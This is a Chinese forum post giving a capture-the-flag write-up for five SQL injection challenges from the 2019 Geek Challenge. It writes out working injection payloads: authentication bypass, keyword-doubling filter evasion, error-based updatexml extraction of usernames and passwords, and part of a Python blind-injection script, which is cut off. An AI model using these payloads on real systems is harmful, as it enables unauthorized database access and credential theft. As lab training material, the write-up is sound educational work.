[极客大挑战 2019]web部分题解(sql部分已完结,其他部分正在更新) ...

守听  金牌会员 | 2024-5-14 14:55:02 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 874|帖子 874|积分 2622

SQL部分:

[极客大挑战 2019]BabySQL

打开环境后有登录界面◕‿◕

一眼注入,后先试试全能暗码:
  1. username:admin' or '1'='1
  2. password:1
复制代码
 GG,出大问题,我就会这一招啊O.o??完结撒花(不是
꒰ঌ( ⌯' '⌯)໒꒱开玩笑的,着看着像是过滤了or后来尝试了一下oorr双写发现也不可,那咱继续注入哈:
尝试输入下正常的union select等语句发现都被过滤了,那接下来把他们都双写看一下:
  1. /check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23
复制代码

看到情况是不报错,是列数不对啊
那就利用二分法一个一个排查,发现列数是3的时间就对了:
  1. /check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23
复制代码

后边就简单了,直接附代码了:
  1. /check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23 #爆库
复制代码
 
  1. /check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
  2. #列出所有库
复制代码
 

看到了ctf库进去:
  1. /check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
  2. table_name="Flag" %23
复制代码
 

直接拿数据就好了:
  1. /check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23
复制代码

得到Flag:
  1. flag{ea47f9af-b37b-4f94-a04d-c5b249737afe}
复制代码
[极客大挑战 2019]EasySQL

看到第二题,发现界面没变,还长这样

话不多说,全能暗码尝试一下:
  1. username:1
  2. passwd:admin' or '1'='1
复制代码

啊?直接出?好吧,看来是练手的:
  1. flag{ef920bf4-ed7f-419b-af87-409fa306319a}
复制代码
[极客大挑战 2019]HardSQL

好,出题人不知改过,那就让他终身难忘(doge

同样的全能暗码起手,能简单来我们就不睁开做o.O
  1. username:admin' or '1'=1'
  2. passwd:1
复制代码
 

好小子,那我可要进去了!
  1. admin
  2. 1' order by 3#
复制代码
?还是这样是吧,那就bp看狙击手模式下你给我过滤了多少字段!
fuzz完发现空格 ,注释符,and,by,=,sleep,/,~等都被过滤了,行,那就进入报错注入环节:
利用()代替空格,利用like代替=,利用^连接函数形成异或
查了其他数据库最后锁定在geek里边
先查表:
  1. admin'or(updatexml(1,concat(0x7e,database()),1))#
复制代码
 

好小子,漏出漏洞了吧,那接下来爆表名:
  1. admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#
复制代码
 

继续:
  1. admin'or(updatexml(1%2Cconcat(0x7e%2C(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))%2C1))%23
复制代码

出敏感字段,结束了,胜负已分( ´◔︎ ‸◔︎`)
  1. admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1))),1))#
复制代码

但是只出来左半边?那好说了,左右分开就好了:
  1. admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)where(username)like('flag'))),1))#
复制代码
 
  1. flag{de3015f5-b395-4395-86c8-cf2ddf32e801}
复制代码
[极客大挑战 2019]LoveSQL

ok看看这个家伙还会来什么

先输入全能暗码:
  1. 用户名:1' or 1=1#
  2. 密码:123(随便输)
复制代码

爆出了一些字段,接下来我们试一下联合注入,二分法先确认是3个字段:
  1. /check.php?username=1' union select 1,2,3%23&password=1
复制代码
得到回显位置为2、3,查一下版本号:
  1. /check.php?username=1' union select 1,database(),version()%23&password=1
复制代码

得到关键信息geek为数据名称,接下来就可以常规步骤了:
爆表:
  1. /check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
复制代码

爆字段:
  1. /check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
复制代码

爆数据:
  1. /check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
复制代码
得到flag:
  1. flag{c76c8911-1aa0-494f-bd2d-1d7356abef1f}
复制代码
 
[极客大挑战 2019]FinalSQL

最后一个了,小小出题人又会干嘛呢?0.0
 

ok,又是一堆乱七八糟的,挨个点击以后发现在第五个里边说有个id=6

那就修改下id=6:

.

这么一看方向是对的,那接下来分析一下:
测试这个地方是否存在注入,效果发现他有过滤,过滤了空格、星号等特别符号,但是减号、异或符、除号并未过滤,并且测出此处为数字型注入而非字符型注入。(测试方法:传值1、2-1、1/1、1^0等效果正常显示,而输入3-1则显示“2”的页面)
这样的话,要二分法盲注了,这里给大家直接脚本了,一个大牛的,一个我的:
脚本1:

[code]# -*- coding: utf-8 -*-import reimport requestsimport stringimport timeurl = "#url+id="flag = ''def payload(i, j):    # 数据库名字    #sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)    # 表名    #sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)    # 列名    #sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)    # 查询flag    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)    data = {"id": sql}    r = requests.get(url, params=data)   # print (r.url)    if "Click" in r.text:        res = 1    else:        res = 0    return resdef exp():    global flag    for i in range(1, 10000):        print(i, ':')        low = 31        high = 127        while low

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

守听

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表